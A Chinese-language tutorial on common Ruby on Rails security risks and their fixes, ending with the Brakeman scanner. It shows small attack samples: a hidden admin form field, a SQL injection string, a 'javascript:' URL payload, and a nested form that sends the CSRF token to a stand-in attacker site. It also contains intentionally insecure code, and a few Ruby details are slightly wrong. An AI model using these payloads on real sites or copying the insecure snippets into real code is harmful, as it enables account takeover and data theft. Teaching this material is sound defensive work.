Ruby on Rails 中的常见的安全风险及解决方案

Ruby on Rails 框架会尽力保护您的应用程序安全。然而,正如官方文件所示,没有“即插即用的安全”。因此,了解您可能会遇到的常见(不常见)安全漏洞很重要。在本文中,我们将讨论一些安全问题,以及使应用程序更加安全的步骤。

要涵盖的主题:

  • 大量赋值
  • XSS攻击
  • 执行任意代码
  • SQL注入
  • 表劫持
  • 记录私人数据
  • 暴露私人令牌
  • 通过IFrame嵌入网站
  • 上传可执行文件
  • 使用Brakeman来检测可能出现的问题

大量赋值

这可能是最常见的安全漏洞之一,所以我首先列出了它。黑客尝试一次更新数据库中的多个字段,包括那些不被普通用户修改的内容。

假设,例如,您有一些表单来编辑用户的配置文件:

<%= form_for @user do | f | %>
  <%= f.label :name %>
  <%= f.text_field :name %>

  <%= f.label :surname %>
  <%= f.text_field :surname %>

  <%= f.submit %>
<% end %>

好的,现在控制器的行动:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(params[:user])
    redirect_to some_path
  else
    render :edit
  end
end

这看起来完全合法,但实际上这是一个巨大的安全漏洞。如果users表具有管理列,则可以使用当前版本的控制器方法的恶意人员轻松修改它。黑客唯一需要做的是手动添加一个隐藏的字段到页面看起来像这样:

<input type="hidden" name="user[admin]" value="true">

猜猜会发生什么?黑客现在是管理员,因为我们很高兴地允许它发生。这实在是非常糟糕的,所以这就是为什么 strong parameters 从 Rails 版本4开始引入的。通过 strong parameters,你可以将用户允许更改的属性列入白名单:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(user_params)
    redirect_to some_path
  else
    render :edit
  end
end

private

def user_params
  params.require(:user).permit(:name,:surname)
end

现在,只能修改名字和姓氏 - 任何其他参数都将被忽略。

如果您希望允许给定键下的所有参数,请使用 permit! 方法:

params.require(:user).permit!

但是,做这个时要非常小心。

在 Rails 3 中,strong parameters 还没有成为核心的一部分,所以我们必须坚持使用模型中指定的 attr_accessible 方法:

Class MyModel
  attr_accessible :name,:surname
end

XSS攻击

记住,柯南的父亲说:“这个世界上没有人可以相信:男人,那个女人,那个野兽……”同样的概念适用于网络。不要信任用户发送的任何数据,除非您的应用程序是由一小群人使用或仅用于内部使用。实际上,即使在这种情况下,也不要相信你的用户,因为他们可能会错误地做一些残酷的事情,或者说是愚人节的笑话。

默认情况下,Rails视图中的任何输出都将从rails的第3版进行转义。有一种方法可以通过使用html_safe方法来改变这种行为,但在执行此操作时要非常小心:

@blog_post = current_user.blog_posts.find_by(id: params[:id])
<%= @blog_post.body.html_safe %>

如果任何人(不只是你)被允许写博客帖子,那么一个恶意的人可能会尝试将一些JavaScript插入到帖子的正文中,并且像其他脚本一样被处理。黑客可能会在您的网站上显示一些警告框,或者通过重写window.location.href属性将用户重定向到其他资源。一个更狡猾的攻击者可能会在您的网站上嵌入一个密钥记录器,并尝试窃取用户的密码当然更糟糕。

因此,如果在页面上显示用户生成的内容,则不要直接将 html_safe 方法应用于该页面。首先,使用 sanitize 方法并指定允许的标签列表:通常用于格式化的标签,如b或i:

<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>

还有一个名为Sanitize的 Gem,提供一些更高级的东西,如果你有这个问题,这是有用的。

执行任意代码

当您运行基于用户发送的信息运行代码时,请非常小心,因为您可能会引入严重的漏洞。这特别适用于 ActiveSupport::Inflector 模块的方法或 eval 等方法,因为精心制作的参数可能会将系统暴露给攻击者。例如,这是非常不安全的,应该始终避免:

eval(params[:id])

如果您真的需要根据用户的输入运行代码,请验证接收到的数据并将许可的值列入白名单。

SQL注入

SQL注入用于访问或操作用户未被授权更改的敏感数据。在大多数情况下,Rails开发人员不受SQL注入的影响,像如下操作一样

@user = User.find_by(id: params[:id])

默认被 sanitized 处理(这同样适用于使用 strong parameters)。但是,请记住如下这些操作

@user = User.where("id = '#{params[:id]}'")

没有 sanitized,所以永远不要这样做!黑客可以构建以下链接 http://this-is-your-site.com/user?id=' OR 1 - 然后查看网站的所有用户(因为这种情况下一直是成立的)。

为了防止这种攻击,请借助于用 ?连接复杂查询:

@user = User.where("id = ?", params[:id])

在这种情况下,输入将被 sanitized 处理。而现在,由于Arel作为Rails核心的一部分,查询更容易写入。例如:

@user = User.where("id = ?OR name = ?", params[:id], params[:name])

可以重写为:

@user = User.where(id: params[:id]).or(where(name: params[:name]))

表劫持

Rails 5应用程序在页面上为每个表单添加一个CSRF令牌(在Rails 5之前,所有窗体都有一个令牌)。这样做是为了防止一个非常罕见的攻击类型,当一个黑客将他自己的恶意表单插入一个合法的攻击时:

<form method="post" action="//this-is-attacker.com/tokens">
  <form method="post" action="/legit_action">
  <input type="hidden" name="authenticity_token" value="thetoken">
</form>

HTML不允许嵌套表单标签,因此,恶意表单将取代合法的表单标签,同时保留令牌。如果提交表单,则将令牌发送到恶意网站。这种类型的攻击非常狭窄,但值得一提的是,

新的 Rails 5 应用程序将 Rails.application.config.action_controller.per_form_csrf_tokens 选项设置为 true,因此,在从以前的版本迁移时,请确保添加它。此设置通常位于 config/initializers/new_framework_defaults.rb 文件中。

暴露私人令牌

您的应用程序可能会使用一堆私有令牌与第三方API进行交互或启用OAuth 2身份验证。重要的是要非常小心这些令牌,并且不要将它们暴露给公众(例如,在公共GitHub存储库中)。最简单的做法是将它们提取到环境变量中,并使用像dotenv-rails这样的gem。使用dotenv-rails创建一个名为.env的文件,并从版本控制中忽略它:

.gitignore
.env

然后将您的令牌放在该文件中:

TWITTER_KEY = 123 TWITTER_SECRET = 456

对于生产,这些变量通常设置在服务器配置文件中。对于Heroku,请使用以下命令:

$ heroku config:add TWITTER_KEY=123 TWITTER_SECRET=456

在较旧版本的Rails中,安全Cookie的秘密令牌列在 config/initializers/secret_token.rb 文件中,但情况并非如此。 Rails 4 引入了一个特殊的 config/secrets.yml 文件,其生产令牌已经配置为使用ENV变量:

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

顺便说一句,别忘了设置secret_key_base环境变量,否则任何人都可以篡改可能导致严重问题的cookie的内容。另外,不要为secret_key_base设置一个简单的值 - 改用rails secret命令,并使用生成的值。

记录私人数据

Rails应用程序为您记录所有交互,这是一件好事。不好的是,有时私人数据也可以被记录下来,并且对任何有权访问服务器的人都可以使用。所述数据的示例包括用户的密码,卡号,CCV号码等。

你可能知道在 config/initializers/filter_parameter_logging.rb 文件中定义了一个 Rails.application.config.filter_parameters 设置。最初看起来像这样:

Rails.application.config.filter_parameters += [:password]

但是,如果您的应用程序使用其他敏感数据,请确保相应更新此设置。请注意,此处的字符串和符号将自动转换为正则表达式,因此,任何包含“password”的字段都将被过滤掉并替换为[FILTERED]文本。

通过HTTP发送敏感数据

这可能听起来很明显,但我仍然想要确定敏感数据不应该通过纯HTTP传输的事实。例如,假设您设置了非常简单的HTTP基本认证,如下所示:

class SomeController < ApplicationController
  before_action :authenticate!
  private
  def authenticate!
    authenticate_or_request_with_http_basic do |id, password|
        name == 'admin' && password == '12345'
    end
  end
end

使用Wireshark这样的工具,如果连接没有被加密,用户名和密码可以很容易被黑客欺骗。因此,您必须为当前控制器强制执行SSL;

class SomeController < ApplicationController
  force_ssl
  before_action :authenticate!
  
end

force_ssl方法接受if和unless选项来设置条件。此外,可以通过设置为整个应用程序强制执行SSL

config.force_ssl = true

在 config/application.rb 内。

上传可执行文件

许多应用程序允许用户上传他们的文件,如图像或文本文档。但是,在执行此操作时,验证文件大小非常重要,并且可执行文件和脚本非常小心。

黑客可以尝试将恶意文件上传到您的服务器,这可能会自动执行,从而导致非常严重的问题。例如,当将上传的文件设置为Apache的根目录时,这些情况就被放置在公用目录中。

像Paperclip,Carrierwave,Dragonfly等人的解决方案提供验证机制,因此在实现文件上传功能时,请务必检查其文档。

正则表达式

刚开始使用Ruby语言的程序员通常将正则表达式中的^和$符号视为字符串的开头和结尾。实际上,这些符号意味着行的开始和结束,而不是整个字符串。因此,此正则表达式验证用户输入的URL:

/^https?:\/\/[^\n]+$/i

并不是很安全,因为黑客可以提供

javascript:some_bad_code();/*
http://thisisanything.com
*/

从正则表达式的角度来看,这将是一个正确的URL。如果以后您将该URL(存储在网站列中)插入到视图中:

link_to "User's website", @user.website

任何点击此链接的人都将有效地运行恶意JavaScript代码。为了防止这种攻击,请使用 \A 和 \z 符号,这些符号与字符串的开头和结尾相对应,而不是^和$:

/\Ahttps?:\/\/[^\n]+\z/i

有趣的是,较新的Rails应用程序知道这个常见的错误,格式验证器(validates :some_column, format: {…})会在正则表达式中使用^和$符号时引发错误。如果您确定需要这些符号,而不是\A和\z,则在创建此验证器时将multipart选项设置为true。

顺便说一句,要在线测试你的正规表达,你可以使用一个叫做Rubular的网站。

通过IFrame嵌入网站

最后,让我告诉你一个不那么常见但很有趣的攻击类型。默认情况下,您的网站可以使用iframe嵌入任何其他资源:

<iframe src="http://this-is-your-resource.com">

似乎没有错,这里正在发生。但是,假设您的网站有一个页面来更改用户的密码。它有两个字段(密码和密码确认)以及提交按钮。

然后,黑客创建了一个名为“this-is-winiphone7.com”的网站,声称完全合法。在这个网站上,他们显示两个文本字段和一个与您网站上的元素相同的定位和宽度的按钮(具体来说,在“更改密码”页面)。他们还通过iframe嵌入您的应用程序,但在opacity样式属性的帮助下使其不可见。然后,这个iframe正好位于文本字段和提交按钮上。那么黑客写的就像:“在这两个字段里输入两个短语”我想要iPhone 7 !!!“,然后按”提交“按钮。然后您将参加我们的赠品,并有很大的机会赢得一个新的iPhone!附:别担心,所有的输入都会被隐藏“。

你懂我的意思?

用户会认为他们正在输入一些文字到this-is-winiphone7.com网站上的字段,但实际上他们更改了您的网站上的密码,并设置为“我想要iPhone 7 !!!”。

当然,这种类型的攻击并不是非常普遍,并且不太可能成功:大多数用户会发现他们的打字隐藏起来是可疑的。而且,只有当您的网站上的会话仍然处于活动状态时,它才会工作。

尽管如此,请牢记这种可能性,并且不允许通过将 config-application.rb 文件中的 X-Frame-Options HTTP 头设置为这样来将网站嵌入其他资源:

config.action_dispatch.default_headers = {
    'X-Frame-Options'=>'SAMEORIGIN'
}

默认情况下,较新的Rails应用程序默认会加上该请求头进行响应。

使用Brakeman评估您的应用程序

Brakeman是一个流行的 Gwm,可扫描您的应用程序的常见安全问题。将其添加到Gemfile中:

group :development do
  gem 'brakeman', require: false
end

安装新 Gem:

$ bundle install

然后,您可以通过执行brakeman命令来运行它。扫描完成后,Brakeman将以一种或多种支持的格式向您呈现报告(HTML,Markdown,CSV,JSON等)。

例如,要生成HTML报告,请设置 -f 参数:

$ brakeman -f html

或指定具有适当扩展名的文件名:

$ brakeman -o output.html

Brakeman用高,中或弱标签标记每个发现的漏洞,以记录置信水平(即,该警告是实际问题的可能性)。但是请注意,这个工具并不完美,不可能找到所有潜在的问题,因此不要仅依靠它的结果来保证您的应用安全!

结论

最后,当然,应用程序可能存在更多的可能的安全问题,因此在发布到生产之前要对其进行评估是非常重要的。花一些时间阅读官方安全指南,并使用Brakeman帮助您搜索漏洞。

如果您了解其他常见的安全问题,请在评论中分享他们,以帮助您的同行开发人员。